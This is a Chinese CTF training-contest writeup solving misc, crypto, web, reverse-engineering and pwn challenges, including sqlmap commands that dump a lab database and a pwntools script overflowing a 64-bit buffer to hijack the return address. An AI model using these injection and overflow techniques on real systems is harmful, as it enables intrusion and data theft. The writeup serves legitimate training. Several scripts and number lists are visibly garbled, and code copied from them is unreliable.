# 10.0.0.55训练赛 Writeup

# From LB@10.0.0.55

## Misc

## 0x01 misc100(图片隐写)

首先用binwalk扫了一下,发现没毛病。

然后就搜了一下jpg的文件尾FFD9,如下图,看到了png格式的标志IHDR。

于是将FFD9以前的部分删除,补全PNG文件头8950 4e47 0d0a 1a0a得到一张新的图片,看上去是全白的,毫无内容。但是打开提示图片出错,于是想到是宽高和CRC不匹配导致的。

分析一波png格式可以知道,

CRC = 0x9A768270, width = 0x0320, height = 0x012C

爆破高度, 脚本如下:

得到高度为0x0258,修改得到flag{python&C\_master\_can\_be\_my\_girlfriend}。

## 0x02 misc200(python解压)

一看题目描述就知道是要解压**800**次压缩包,一开始给的文件是**Gzip**格式,但之后的都是**tar**,所以为了方便手动解压一次,然后脚本解压。

得到flag{for\_iin{800..0};do\_tar\_xzvf\$i;done&&\_cat\_flag}

# **Crypto**

0x03 crypto100(bacon密码)

# 与佛论禅

听佛说宇宙的真谛

参悟佛所言的真意

普度众生

菩提本无树,明镜亦非台

得到is颜文字,试了好几个浏览器的console都不太好使,最后用的360。

■ Vuncaught ReferenceError:

VM629:2

得到好多flag(滑稽),将Flag转为1,flag转为0,发现字符串长度为85,是5的倍数,在M4x学长的提示知道是bacon密码,将1转为a,0转为b解密。

附上脚本

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
Author = "LB@10.0.0.55"
import re
alphabet =
['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','
s','t','u','v','w','x','y','z']
first cipher =
["aaaaa", "aaaab", "aaaba", "aabab", "aabab", "aabab", "aabbb", "abaaa", "
abaab", "ababa", "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "baaab", "ba
aba", "baabb", "babaa", "babab", "babba", "babbb", "bbaaa", "bbaab"]
second cipher =
["aaaaa", "aaaab", "aaaba", "aabbb", "aabaa", "aabab", "aabbb", "aabbb", "abaaa", "
abaaa", "abaab", "ababa", "ababb", "abbaa", "abbab", "abbba", "abbbb", "baaaa", "ba
aab","baaba","baabb","babab","babba","babbb"]
def encode():
    string = raw_input("please input string to encode:\n")
    e string1 = ""
    e string2 = ""
    for index in string:
        for i in range(0,26):
            if index == alphabet[i]:
                e_string1 += first_cipher[i]
                e string2 += second cipher[i]
                break
    print "first encode method result is:\n"+e_string1
    print "second encode method result is:\n"+e string2
    return
def decode():
    e string = raw input("please input string to decode:\n")
    e_array = re.findall(".{5}",e_string)
    d string1 = ""
    d string2 = ""
    for index in e array:
```

```
for i in range(0,26):
            if index == first cipher[i]:
                d string1 += alphabet[i]
            if index == second cipher[i]:
                d string2 += alphabet[i]
    print "first decode method result is:\n"+d string1
    print "second decode method result is:\n"+d string2
    return
if __name__ == '__main__':
    while True:
        print "\t*****Bacon Encode_Decode System*****"
        print "input should be lowercase,cipher just include a b"
        print "1.encode\n2.decode\n3.exit"
        s number = raw input("please input number to choose\n")
        if s number == "1":
            encode()
            raw_input()
        elif s number == "2":
            decode()
            raw_input()
        elif s number == "3":
            break
        else:
            continue
```

得到flag{interestingcoding}

# **0x04 crypto200**

这题就是把flag经过四个函数加密,并且每一次把要加密的函数的序号告诉你,让你逆回去,附上脚本。

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import random
import string
'''大小写字母前后颠倒'''
def rot13(s):
    return s.translate(string.maketrans(
        string.uppercase[13:] + string.uppercase[:13] +
        string.lowercase[13:] + string.lowercase[:13],
        string.uppercase + string.lowercase))
'''base64编码'''
def base64(s):
    return ''.join(s.decode('base64').split())
def hex(s):
    return s.decode('hex')
""大写转小写,小写转大写""
def upsidedown(s):
    return s.translate(string.maketrans(
        string.lowercase + string.uppercase,
        string.uppercase + string.lowercase))
flag = open('flag1.txt','r').read() # try to recover flag
E = (rot13, base64, hex, upsidedown)
while flag[0:4] != 'FLAG':
    print flag[0]
    flag = E[int(flag[0])](flag[1:])
print flag
#FLAG{KEEP CLAM AND DECODE!}
```

## 0x05 crypto300

这是我入坑CTF搞的第一道RSA, abo居然就弄这么难....

这题的加密简单来说就是 c = pow(flag, e, n)

每次的c和e都不同,但n是固定的,这是关键。熟悉rsa的就知道是共模攻击。 脚本如下:

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from libnum import n2s
import sys
sys.setrecursionlimit(1000000)
e = [1619455979]
2218655053,
2835180841,
3071798573,
3875439793,
361506967,
1578333451,
2921677883,
3932969143,
364263283,
3513149351,
3517079837,
696665539,
3335742701,
3157525687,
1113728801,
3628966093,
2111846309,
3650543653,
2507103857,
2151201433,
2470127773,
4167499013,
2990751161,
734964331,
3662407867,
2133375229,
4283967859,
3533655011,
1930522169,
1808434097,
786604957]
C = [
19871525333320514030930476288593461822971719630889002760314148098073177510
```

4140490833118788728211569894674181393036838662875,

 $45947960368739558208097493897625666406633828759236085666167128694351187102\\ 10181242079831148069444816078447776461466610296009625352390977961289894466\\ 05066425484893367853847654260514702504126722342269359188605898840558597677\\ 85524582180227176073546719310433965344821800284543451669281085954579291207\\ 71465619731404690958873805217028394632733711327695894889806354591168358556\\ 18613029072989436191470551817408979950475585738710897489798867542577255283\\ 92778596105329761947544528644945129354031014613215305127062993261593496058\\ 00323571310288507071581132193166508837716705525997797026551067028818313817\\ 39644246099123566578060701812286259415192683241107717021051063625873141679\\ 01665479477518591875398263727739793665536157373778040769289142530185779538\\ 75746880421031607837890530375185093898536335890382802486035760396598129333\\ 72573694611112084736034469919463060373713203078768277402430117758066930287\\ 586161872941794499189972022661056173130620576066633200377759983936855402445\\ 89906157694780821248391248837417525096999407388080351184669361686397352069\\ 20058518221771746388192078006410585014272135774831251337609370200286498764$ 

743264958089197976688365662494303276857287168119,

4528528141555670656237144471817981898233821593892.

7241441677326799470264604563991487873632326302069,

381544518890795806992080917984283873837126824144. 

41220290790126339322188611521873266344323995806002696219405923632195745840
18740126198736853091958272130277402229456891249531449094309041328811725296
96690023083131629415586498750580373793816561759990662217459261214927557609
64578828363402042085635697621260817919762843956185569164237510000036735661
27803559862024141373910377225212084919293025027358977244217142578601147139
02727011346326370679956687813626976720019827493052785000215565437510480168
08345208361695273124392592263003310534519136780157957774049399387489592924
57424659588265575850034351369258584740414184475935450540897753794827814119
25063549386430772479925608834667284638448239378939028871555061560797687285
74741560272662794270308489571814055070393877197479828975295516843614687239
83162067857797046622598902612792434860014566055707508089514218004436137530
36434093980397897907887429528073947732632435170111823643723805655258072747
53882895531536082710343813725307231357311789492694516343032405117671136703
11279951044780493946481740928681929901143828573923743240314176518678925316
10607220439810941707708605546720875642103484456439855914617952712558106343
7361146615823627458558756122599449355201559716459,

 $24176749527752812890010100048665274927588927448742229382353924867624535245\\24031188437050868047903625582750012636952580448200111160958870889142443549\\056766484291184350334796973105836294203333669388307208727678293951879971310\\20627016042633019995097546756775693792610669315818663781194377966675875010\\57783898313568534556442536123703116864419011348646454746222634262848689027\\91525887618572059585671895947060021234289934249684722783138728198504449574\\92008701560686581326086575398075109401658843155956104599187149499229549487\\92681571212706714555170427480982764069994544624545730667598454190707751131\\52069458040205165768555000122302500543039231566711349898790729753864006820\\33247477564171074820931087355498974034034586110209239703732872527706423495\\41719258569747275776558715424813597057668104820299882041779847057998187990\\55378721673498470196963079490232257637980742372941622550634835211334846801$ 

74899807304225425231722291997784883863198604232287268729331091810885662642 25492695421541098573121318632868777679503064236590265335818077253942359571 19243940800836289110410712850061875964834310808398889960044969086978294257 06288085163051111475542653972255303580620329738701123110403017118188852765 3438030633976961778199162953343526700865027496929,

0602112126312630614846998281384526636317619412909,

0642044035868906426973762559839540670123648543321,

43055389645867477740739762219909717374008269061992587411227265348272388255
74944718089805189482094372421076596985291747815170912391903119760676370082
29115933322513368207141966719205836938140862495848590418542779025734664361
73027214554104290378462905100242892219394275533364666633602052047102375720
51497022215014013900055376972441282952685246496092975918858875147846494838
82148411440954074221345528489305198207409022654410589587613807297562301836
03969122778078738907961741909986257001829656399667355771459698511700536882
27977108923182248072338926239435423941728652221782518321190792127126957056
09165228254969136806371730826709437388063253125587837814982396109806125037

577922264523225637347689613509384255979791360328.

97072443469055008386663918663661425577342738124440147047973869745514096049
15190012725796597724608328341504015011448177018029293621914818112396419307
36386154758705767015952508266904492474674532218791626081398558441904963199
50953492864185640791968347838147106631307491855318809632587021819663942460
60683829645698799301055150104589716243516099826312290819787746460321335451
00759784395097357798999688199381394036234084478674171881428159727725707310
54570709025534770324415491896847680853280545722024225400812335839453618710
312986137796093716534638332665783690053427565890,
30080509383677526968771450388698191504733106966058321459213577626715341286
02517010790145529497830158399940267250239459011932337274942106248185898471

02517010790145529497830158399940267250239459011932337274942106248185898471
17536581710999780071379534892743515738612273915688354944651397406101711475
05115937006979114189903971357195992760582929202161806076042559742454080999
93294449425129859903391768942371871325575712895564091022328531133758035502
28683847087545839451041477658068909491612228696189919798922378874844769455
07717980063386043993127824688132116547925849679449042980569719639639845053
56014054943004880513311715558428409852156144267351463951324101784842586871
47636026156930025265764469768343393258010859496045917596198198115591415776
14956204084470046970601657016973369936394416746535008512715518425640452248
30326919585716717287208637156355734757643484249818827072609104755024903458
40937305158588731592680874307201487280234247426374006926927495825609714729
75649673114567878546095886215575376383258079022271729451261017933831020946
51920197661218950847465971974814983083017704737097439587251963247307020412
15569698219469796537186707814504900463205554828332215496060575292208125755
75179920647679117994098089098751938952458075310059157182193231983451790982
8317799968182139456552228828118462241699682538215,

69420662691626037760338190660484971931813749997879791563286399710167597432
61233237784924413475601692216177898172595805627289514470267650303187372887
42675440350231882794749429834572275730182229309065713144401277110458972279
31897423696053214698275639334606367711097679575121373403789038650294273157
27742721323767997875388700430539950334870159776419607312372968827047840580
70134826109233192466203053918513775569191750609389729081103755988056143301
13705679530791795969383543896597185043475170267374824982688471808013417102
25983944705041548224989190063477967301211203186128623664878972292607845791
08714962151674232483170289175177377875379175343808063061650527670954592834
47657449004980873250032017192328686341907806705688261565967851515805545656
7037992682772757835766697037290256319066632554220,

6381852189738982493742235569513623307309490410898,

 $19532867680309280956356410049167293285555124160017218272050483299148217931\\ 20502178565176727603183775634365203048152040689046350003797416262393802306\\ 17418756995881649346496306969324454331544968901767813625431202856488192606\\ 16897182999218241014578459616505811968503369416072667608688820954038195218\\ 95144467079296676299651291335334136061182453761726985803045874123346247337\\ 09106156644677458067759660637678438552462224245011754521090764767068945230\\ 68656413963682374790316420580235762167043728725919805897533575905623278467\\ 46763560030358639911621443017432337356822478979898133590753791310038831454\\ 104508881318210835485963839229545925361751058953400868905637849198162572721\\ 75426377213741990224887937170933800087259325657378796255732255792461449869\\ 22409543734632514077995363851880148077744181377305460866357539600342705743\\ 31540157782942227500775507797434670956459069871060425368581596885575824659\\ 43755172592175393433635071576726308056209528607702864452269309847267954326$ 

43002982472727983562509121932244687639706801777545357743131963140298571123 58922803782360816013106028307281783313150019420876364560453255982777291697 21633128103962195193583188917089972121728255509753745743154570030176360794 0935983567635021643868458571860375807272471454884,

7013685733054710178468035258602460882493841991172.

5278728975596909313536355577774263112332303417495,

10080336449606331108980887375063373060791700394630605392845966807229841226 68138506733044092213040264632377310912338859702542201713722801597383547642 87307449269534228222953132340450160632968502469793410539770476763475617755 08306069438212923236418475503054180021162644813966851597297546990380219741 12119007961857750927260165005343668997258556777073319104480913767351824955 11640651596136065654569615059023082476781823439239006688210818024912313433 85222528815133206058438657198919438286945256103085931340955952576012772500 95512971878092015641527416283394136605995411555481682062437646304056218813 71777385365331198277191401379411977005768107597428899408004029629825819724 22600307940687706247500735285586558544683119738949007090104101535319632425 36694053354460114740002987242912781569628039930451836710678384012266839237 61809154099080871267456110861700365286443270668687885419492647141346736427 3879858306496164438558301944586872526314416436729 25766770917996056594404418632849280736773894413595484704360521276438283270

7908838620440906093212995482890227864482686834190,

 $14157907824816465933631475558179090312957462178535856340494241183288902761\\25189228430779703133568727080983148764556642779901963596178173432360777802\\12015726412928497676188115163774425127257561524759706739351055688734989106\\91046738348915021998704173412931508977160986258717927824599806881541812551\\07783128704017175249595232950144045811490206091227483313494290799259333234\\18453487827441318667072736406784251846857542799307229563231965689979783481\\38575419229588666901668554520568404993167651578602512317416577655091965673\\60117533493878755328589149217114072315359570283491821567451153578126081164\\60300955036029308789535332310917278417257879838400347134132981052282345463\\76493922106551545388365024599124554568596971133106722134081173211863775747$ 

79637787744852959385379223188641470986197096365231278513930961743481805847
40385495516284017265910448932749623752764252436217250309282113783674781819
61711791663026587333212923349394283869853707385421167922559925171385072123
36682059320873287335134822664252528970961074058380465824577980734403821152
84490583075914757656607262849908944027495332015319876753722106977136926354
91761573913998171200789995618711882210825430098590872819922172978968835534
3771714240411144340267691701000569325726600849649,

3520413494134553520788527165210643113647810496589,

056980579822649368226846879825974200976217747711.

8536002563526915382765707550766239470376319281766,

1207121613200307960599376376751153525554473307533,

49036114174094575415905425279185215434561984529270140858942351808242901067
79767373064882855272262764598999200526024748196964109545955911014514411069
98513794331290071839537841338690536500487060031128065780533634980438463344
54912027089326166499569555632215254516634021974604488959144389816606132067
78572540245823448678395024212618006658385681869524887968993186136893139648
28424802360042378330292296015205775113180509171814846982024657020277755131
24605571599030337203532292686338502744804463675719350858594893436408998256
88088579915166107493273469038622840562987271174949658137917542872593944900
98294324799914043870581009116061979705390592938557089382386214035353458376
1732026051569066785734070136821001864045468123610]

```
def gcd(a, b):
        if a < b:
                a, b = b, a
        while b != 0:
                temp = a \% b
                 a = b
                 b = temp
        return a
def egcd(a, b):
        if a == 0:
                return (b, 0, 1)
        else:
                 g, y, x = \operatorname{egcd}(b \% a, a)
                 return (g, x - (b // a) * y, y)
def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
                 raise Exception('modular inverse does not exist')
        else:
                 return x % m
def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
                 raise Exception('modular inverse does not exist')
        else:
                 return x % m
```

```
#这里e和c的序号可以从32个里面选两个
e1 = e[1]
e2 = e[2]
s = egcd(e1,e2)
s1 = s[1]
s2 = s[2]
c1 = c[1]
c2 = c[2]
print(s)
n =
30355202973926878768942103480930154266836311198544819748865660342328580955
50162257635078210589771913769756096123145737871484300300149784011024263462
90180457645094380918591576333426636173812372946449416193133967635136948329
49704672093203569930624288137465362917057454137688873248040246158271686672
29836958037702993558423017444943992839123591597629799742746359619766115738
75536934818825542925610132556421395122301055777262562802177229272506178634
12263032549217487689908015372208554011997678860427593978664577010631984880
76861653669965695393047471209088236545055975199716166477139511141666622918
10700501111018118275233410176961734636469348235124203204134145130577525538
89027938488175161981530713602173066275363944713975561298991495846017373767
99726800193402404347955558870590080489802083100314788125916902153533750229
42428110381458613385128108872115242768135293903468683608857300743326973147
00462658275167948231205002346874051540835083305382588253333646056723376535
35056888322650726134756836807099954365842881214406320151076925261522959708
09776420786093311436754175740811154244080248787476374748432605004090718808
33073136038876019590556511112149433127709342023751527683720467735002088432
3188865761880255671146749130841857969707181931683
if s1 < 0:
        s1 = -s1
        c1 = modinv(c1,n)
if s2 < 0:
        s2 = -s2
        c2 = modinv(c2,n)
m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
print(n2s(m))
print(pow(m,e1,n) == c1)
print(pow(m,e2,n) == c2)
#flag{RSA_is_a_popular_algorithm}
```

最后很迷的是算出来的m只符合一个,另一个是False。

## Web

# 0x06 Sql50

最简单的sqlmap注入,当天晚上还在试手注,难受。

payload如下

```
py -2 sqlmap.py -u 10.4.21.55:10010?id=1
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 --dbs
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables =T Marinata --columns
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian
--tables =T Marinata --columns -C Hinata --dump
flag{Power_of_Ldy}
```

### Re

### 0x07 re100

简单的逆向,当时主要是没把那个或当回事。。。没怎么见过或运算不太敏感。

逻辑关系: flag + 9 = ((key&0xAA) >> 1) | (2 \* (key&0x55))

脚本如下

#### 0x08 re200

听说不能F5?!之后才知道可以向上次hctf一样修复。

方法一: 修复F5

关键函数是check并且就是它不能f5,如下图

```
call
                         rax
                 pop
                         rax
                 add
                         rsp, 5
                 rep stos dword ptr es:[edi]
bitss:
                                          ; CODE XREF: check:loc 4006C61j
                 mov
                         rax, 0
                 mov
                         eax, 0
locret_4006DE:
                                          ; CODE XREF: check+7Efj
                 leave
                 retn
check
                 endp ; sp-analysis failed
```

在红色的那一行点字母D, 就可以了。

```
1 void check()
2 (
    char s1[56]; // [sp+0h] [bp-40h]@2
4
    int v1; // [sp+38h] [bp-8h]@1
5
    int i; // [sp+3Ch] [bp-4h]@1
ó
    v1 = strlen(input);
7
    for ( i = 0; i < v1; ++i )
8
9
      s1[i] = *(( BYTE *)encrypted + i) ^ 2 * i;
10
    strncmp(s1, input, v1);
11
    JUMPOUT(locret 4006DF);
12|}
```

方法二: gdb直接跟到strcmp

由于最后有个比较函数,所以可以在strcmp处下断点,地址为0x4006B6,即 check+112。

然后run,可以直接看到flag。

```
arg[0]: 0x7fffffffe270 ("flag{Have_u_tried_GDB?}.w[BS\030WY\036\071-14")
arg[1]: 0x601080 ("12346578912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345
```

方法三: gdb一步一步跟。

可发现输入的字符串是经过异或1,2,4,6等从而和目标串匹配,从而写脚本得到flag。

脚本如下

# 0x09 re300(js加密混淆)

首先在网址http://matthewfl.com/unPacker.html格式化。得到

```
console.log((function()
    if(typeof(require)=='undefined')return'('\ou')';
    var code=require('process').argv[2];
    if(!code)return'('\w')';
    String.prototype.zpad=function(1)
        return this.length<l?'0'+this.zpad(l-1):this
    };
    function encrypt(data)
        {
        return'"'+
(Array.prototype.slice.call(data).map((e)=>e.charCodeAt(0)).map((e)=>
(e*0xb1+0x1b)&0xff).map((e)=>'\u'+e.toString(16).zpad(4))).join('')+'"'
    }
    var crypted="balabalabalayidachuan";
    if(JSON.parse(encrypt(code))!=crypted)return'('\union')';
    try
        {
        eval(code)
    }
    catch(e)
        {
        return'(´•ω•`)'
    }
    return'(*´∀`)~♥'
}
)())
```

关键代码在这: (e)=>(e\*0xb1+0x1b)&0xff)

也就是说flag经过数乘加法,然后取低八位得到加密串。要想直接逆回去是不可能的,所以爆破。

脚本如下

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [key]#数量太大就不放了
flag = []
for i in range(256):
    for j in range(256):
        if (( j*0xb1 + 0x1b )&0xff) == i:
            flag.append(j)
            break
flag1 = ''
for i in a:
    flag1 += chr( flag[i] )
print(len(a),len(flag1))
print(flag1)
```

得到:

```
$$$=~[];$$$={___:++$$$,$$$$:(![]+"")[$$$],__$:++$$$,$_$:(![]+"")
[$$$], $ :++$$$,$ $$:({}+"")[$$$],$$ $:($$$[$$$]+"")[$$$], $$:++$$$,$$$ :
(!""+"")[$$$],$ :++$$$,$ $:++$$,$$ :({}+"")
[$$$],$$ :++$$$,$$$:++$$$,$ :++$$$,$ $:++$$};$$$.$ =($$$.$ =$$$+"")
[$$$.$ $]+($$$. $=$$$.$ [$$$. $])+($$$.$$=($$$.$+"")[$$$. $])+
((!$$$)+"")[$$$. $$]+($$$. =$$$.$ [$$$.$$])+($$$.$=(!""+"")[$$$. $])+
($$$. =(!""+"")
[$$$. $ ])+$$$.$ [$$$.$ $]+$$$. +$$$. $+$$$.$;$$$.$$=$$$.$+(!""+"")
[$$$._$$]+$$$.__+$$$._+$$$.$+$$$.$$;$$$.$=($$$.___)[$$$.$_]
[$$$.$];$$$.$($$$.$($$$.$$+"\""+$$$.$$ +$$$. $+"\\"+$$$. $+$$$.
$$ +"\\"+$$$. $+$$$.$$ +$$$. $$+$$$. $+(![]+"")[$$$. $ ]+$$$.$$$ +"."+(!
[]+"")[$$$. $ ]+$$$. $+"\\"+$$$. $+$$$.$ +$$$.$$$+"
(\\\"\\"+$$$.__$+$$$.__+$$$.$$_+"\\"+$$$.__$+$$$.__$+$$$.$__+"\\"+$$$.__$
+$$$. +$$$. $+"\\"+$$$. $+$$$. +$$$.$$$+"
{\\"+$$$. $+$$$. $+$$$. $ +"\\"+$$$. $+$$$. $ +$$$. $$+"\\"+$$$.$ +$$$
.___+"\\"+$$$.__$+$$$.$_+$$$.$_+$$.$_$+$$.$$_+$$$.$$_+$$
$._$+$$$.$$_$+$$$.$$_+"\\"+$$$.__$+$$$.$$_+"\\"+$$$.$_+"\\"+$$$.
\\"+$$$. $+$$$. $ +$$$. $$+$$$. +$$$.$$ +"\\"+$$$. $+$$$.$ $+$$.
\"+$$$. $+$$$.$$ +$$$. $$+"}\\\");"+"\"")())();
```

目测又是js,于是360浏览器里的console里跑一发,得到FLAG{JS Encoder Sucks}

#### **Pwn**

# 0x10 pwn100

菜的一批就弄了一个pwn,这题就是要输入一个payload根据返回的地址猜测覆盖到ret 所需的字节数,注意是64位的。

脚本如下

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
io = remote('10.4.21.55',9001)
io.recvuntil("0x")
sys_addr = int(io.recv()[:12],16)
payload = 'f' * 56

payload += p64(sys_addr)

io.sendline(payload)
io.interactive()
```

# 写在最后

以上就是**12**月**17**日**10.0.0.55**训练赛来自我的**Writeup**,菜的一批,继续加油。